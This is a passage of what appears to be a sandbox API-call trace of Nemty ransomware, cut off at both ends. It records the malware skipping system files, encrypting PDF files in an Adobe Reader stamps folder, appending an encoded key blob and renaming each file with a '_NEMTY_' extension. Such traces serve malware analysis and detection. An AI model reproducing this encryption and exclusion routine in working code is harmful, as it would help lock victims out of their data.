WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0187.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0187.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0187.881] Sleep (dwMilliseconds=0x5) [0187.884] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23a27530, dwHighDateTime=0x1d561e8)) [0187.884] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23a27530, dwHighDateTime=0x1d561e8)) [0187.884] GetLastError () returned 0xb7 [0187.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.884] GetLastError () returned 0xb7 [0187.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.884] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.884] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.885] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0187.885] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="E9gtoHOSFqf8+YL/vuWKdIi+xVtlXe429Axc1yR29GEfFUcxux+bzdOzICXLcs+4\r\n0GzYrTX70ua03hk6v2oX//9JHJvM8WYnAWR9VNFdo7O+38wdCUZQ4ZaqJZ4y4do1\r\nX9XvrB9lEI/HmeHb/WxfggZx7guWBVPCPorYregTe0f/mgcx2hMW2b0tHo0RnmKV\r\nokjTbubRyj11orj3UoxRp378FcFN0YFF3YiIYhURoC0gifplXUUYgEBc8ymyq41s\r\nxhCotlnUc20/2oZRYLAhSjh+gtNxOvZEk+QOpfUlbUOtSWY+lZ1m1HOdkWk6jjTG\r\n3FsFDA1Ve2MJdj8FWF7FXg==\r\n", pcchString=0x653df5c) returned 1 [0187.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0187.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.885] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.886] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=59093) returned 1 [0187.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe6d0) returned 0x6352c48 [0187.886] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.886] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xe6d0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xe6d0, lpOverlapped=0x0) returned 1 [0187.891] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.891] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xe6d0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xe6d0, lpOverlapped=0x0) returned 1 [0187.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.891] SetFilePointer (in: hFile=0x320, lDistanceToMove=59093, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe6d5 [0187.891] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.892] CloseHandle (hObject=0x320) returned 1 [0187.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0187.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0187.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.892] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0187.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0187.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0187.893] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9306, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0187.893] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0187.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0187.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0187.894] Sleep (dwMilliseconds=0x5) [0187.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23a4d690, dwHighDateTime=0x1d561e8)) [0187.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23a4d690, dwHighDateTime=0x1d561e8)) [0187.900] GetLastError () returned 0x0 [0187.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.900] GetLastError () returned 0x0 [0187.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.901] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.901] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.901] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0187.901] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="RKHmRX38yuIlU4+e0GGw2zOR5Bcu0gxibZVKM7Jw5HtFdLai1ZMgkPnwkYht0myM\r\nHyx8dycwcOXuEbvXlQmzIkpVPim0KSafEkLghl9dxkLU0no9QGa88A+LBEZf5wFm\r\nbxm1gX5bcSULZ0cDEr8sSc1lA7plcIOiVUkd+irLuZPRyFhcvtMBxlpVcYkuTokb\r\nz78xgJOhOerBPXHHlOVuR+C2UGxhuCeXR4cesIzBJMjImZf/uQSaOMXu2zL757EW\r\nHk+Xoq5OfjPqRtMQ6bpnGscKEmXC4ubu8kTauUbl/AvAVjEqUTVl+DgcOJ2qKDr4\r\nzrWNOl5TgbDE/4gMmc35UA==\r\n", pcchString=0x653df5c) returned 1 [0187.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0187.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.901] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.901] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=37638) returned 1 [0187.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9300) returned 0x6352c48 [0187.902] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.902] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9300, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x9300, lpOverlapped=0x0) returned 1 [0187.905] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.906] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9300, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x9300, lpOverlapped=0x0) returned 1 [0187.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.906] SetFilePointer (in: hFile=0x320, lDistanceToMove=37638, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9306 [0187.906] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.906] CloseHandle (hObject=0x320) returned 1 [0187.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0187.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0187.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.907] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0187.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0187.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.907] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18757, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0187.907] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0187.907] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0187.907] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0187.907] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0187.907] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.908] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0187.908] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0187.908] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0187.908] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0187.908] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0187.908] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0187.908] lstrcmpiW 